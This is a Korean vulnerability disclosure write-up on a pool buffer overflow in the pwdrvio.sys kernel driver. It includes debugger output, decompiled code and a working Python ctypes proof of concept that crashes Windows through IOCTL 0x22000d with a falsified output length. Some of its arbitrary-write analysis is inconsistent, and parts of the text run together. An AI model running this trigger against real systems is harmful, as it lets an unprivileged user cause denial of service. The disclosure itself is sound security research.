
프로젝트 날짜 : 2026년 2월 / 커널 드라이버의 IOCTL 핸들러에서 버퍼 오버플로우 취약점이 발견되었습니다. 이 취약점으로 인해 권한이 없는 로컬 공격자가 커널 풀 메모리를 손상시켜 즉각적인 시스템 충돌(BSOD) 및 서비스 거부를 유발할 수 있습니다.
프로젝트 날짜: 2026년 2월 / pwdrvio.sys 커널 드라이버의 IOCTL 핸들러에서 버퍼 오버플로우 취약점을 발견했습니다. 이 취약점을 통해 권한이 없는 로컬 공격자가 커널 풀 메모리를 손상시켜 즉각적인 시스템 충돌(BSOD) 및 서비스 거부(Denial of Service)를 유발할 수 있습니다.
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
서비스 거부 (DoS)
심각도: 중간(MEDIUM)
CVSS 3.1 점수: 5.5 (DoS)
CVSS 벡터 문자열:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H버퍼 오버플로우 — 서비스 거부 (CVSS 5.5 - 중간)
공격 전제 조건:
악용 결과: DoS - 즉각적인 시스템 충돌, 서비스 이용 불가
날짜: 2026년 2월 5일
활동: 맞춤형 Python 퍼저를 사용한 체계적인 커널 드라이버 퍼징
발견 과정:
대상 선정:
pwdrvio.sys를 가장 오래된 드라이버로 식별 (타임스탬프: 2009년 6월 16일)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccessor\0초기 퍼징:
ctypes를 사용하는 Python 퍼저 개발WriteFile/DeviceIoControl을 통해 드라이버 디바이스로 무작위 데이터 전송검증기(Verifier) 활성화:
verifier /standard /driver pwdrvio.sys
검증기 구성:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
날짜: 2026년 2월 5~6일
활동: 근본 원인 분석을 위한 커널 디버깅 환경 구축
구성 절차:
VMware 직렬 포트 구성:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
게스트 OS 구성:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
호스트 WinDbg 연결:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
날짜: 2026년 2월 6일
활동: 임의 커널 쓰기 프리미티브 식별
분석 단계:
모듈 분석:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
취약한 명령어 발견:
쓰기 핸들러에 중단점 설정:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
핵심 발견: 임의 쓰기 프리미티브 확인!
RAX)를 주소 [R11-0x10]에 기록R11은 스택 프레임에서 로드됨: mov r11, qword ptr [rbp+0xB8h]레지스터 상태 분석:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here
날짜: 2026년 2월 6~7일
활동: Use-After-Free에서 write-what-where 조건까지 취약점 추적
메모리 손상 체인:
IRP 할당:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
버퍼 관계:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
분석: 사용자 버퍼는 RBP 프레임에서 직접 접근할 수 없음
RBP+0xB8 오프셋은 사용자 제어 버퍼를 가리키지 않음Use-After-Free 조건:
드라이버는 IRP 구조에 댕글링 포인터를 유지합니다:
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
날짜: 2026년 2월 8일
활동: 단독 DoS 취약점 발견
발견:
IOCTL 퍼징:
0x22000d를 취약한 것으로 식별크래시 메커니즘:
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
드라이버 동작:
검증기 출력:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
위치: pwdrvio.sys IOCTL 핸들러
취약한 IOCTL: 0x22000d
트리거 메커니즘:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccessor\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Overflow!
ctypes.byref(bytes_returned), None)
크래시 동작:
드라이버 검증기(Driver Verifier) 활성화 상태:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
드라이버 검증기(Driver Verifier) 미활성화 상태:
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
코드:
import ctypes
from ctypes import wintypes
# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccessor\0"
kernel32 = ctypes.windll.kernel32